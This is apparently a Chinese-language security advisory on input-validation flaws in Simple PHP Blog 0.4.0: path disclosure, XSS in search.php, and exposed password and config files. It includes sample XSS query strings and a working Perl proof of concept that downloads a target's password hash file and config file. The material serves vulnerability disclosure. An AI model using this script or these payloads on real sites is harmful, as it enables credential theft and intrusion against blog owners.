sphpblog多个输入验证漏洞受影响系统:
Simple PHP Blog Simple PHP Blog 0.4.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 13170
Simple PHP Blog是一款无需数据库支持的简单Blog程序。
sphpblog中存在多个漏洞,起因是应用程序没有正确的验证用户输入。远程攻击者可以利用这些漏洞获取敏感信息或执行任意代码。
A. 完整路径泄漏
http://[Url]/sphpblog/scripts/sb_functions.php
Ex:
Warning: main(scripts/sb_fileio.php): failed to open stream: No such file or directory in
/var/www/sphpblog/scripts/sb_functions.php on line 52
Fatal error: main(): Failed opening required 'scripts/sb_fileio.php'
(include_path='.:/usr/share/pear') in
/var/www/sphpblog/scripts/sb_functions.php on line 52
B. search.php跨站脚本漏洞
http://Url/sphpblog/search.php?q=[XSS]
http://[Url]/sphpblog/search.php?q=%3Cmarquee%3Ewe+are+a+like%3C%2Fmarquee%3E
http://[URl]/sphpblog/search.php?q=<a href=http://echo.or.id>echo</a>
C. 关键信息泄漏
攻击者可能直接访问有关blog和用户的口令和配置文件。
口令文件使用PHP的crypt()函数。
http://[Url]/sphpblog/config/password.txt
http://[Url]/sphpblog/config/config.txt
<*来源:y3dips (y3dips@echo.or.id)
Alexander Palmo (apalmo@bigevilbrain.com)
链接:http://echo.or.id/adv/adv12-y3dips-2005.txt
http://marc.theaimsgroup.com/?l=bugtraq&m=111359259108644&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/perl -w
# Remote grabbing sphpblog password & config file by y3dips
# Bug find by y3dips <http:// y3dips echo or id>
# Bug published at http://echo.or.id/adv/adv12-y3dips-2005.txt
print "\n* Remote grabbing sphpblog password & config file by y3dips *\n";
require LWP::UserAgent;
if(@ARGV == 1)
{
$target= $ARGV[0];
my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;
my @url = ("http://$target/config/password.txt", " http://$target/config/config.txt");
foreach my $urlz (@url) {
my $injek = $ua->get($urlz);
print "\n-------------------------------\n";
if ($injek->is_success)
{ print $injek->content;}
else
{die $injek->status_line;}
print "\n-------------------------------\n";
}
}
else {
print "Use: perl $0 [www.target.com] \n";
}
# EOF y3dips(c)2005
# greetz :
# @echo|staff = qw/ m0by the_day z3r0byt3 comex k-159 c-a-s-e s`to lirva32 anonymous /;
# @waraxe.us = qw/ waraxe LINUX shai-tan all_guys /;
# @echo = qw/ newbie_hacker@yahoogroups.com #e-c-h-o_@_DALnet /;
建议:
--------------------------------------------------------------------------------
厂商补丁:
Simple PHP Blog
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.simplephpblog.com/index.php